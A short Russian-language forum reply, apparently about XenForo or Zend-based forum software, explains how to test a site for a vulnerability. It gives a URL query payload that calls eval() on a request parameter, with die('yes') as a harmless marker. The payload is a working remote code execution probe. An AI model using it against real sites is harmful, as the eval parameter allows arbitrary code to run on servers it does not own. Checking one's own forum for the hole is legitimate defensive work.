Mops, Если есть сомнения, поставь хайд, открой любую тему и в ссылке после слеша ("/") пропиши:
Если страница просто загрузится - дыры нету. Если появится белая страница с надписью "yes", значит дыра присутствует.
PHP:
?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die('yes');
Если страница просто загрузится - дыры нету. Если появится белая страница с надписью "yes", значит дыра присутствует.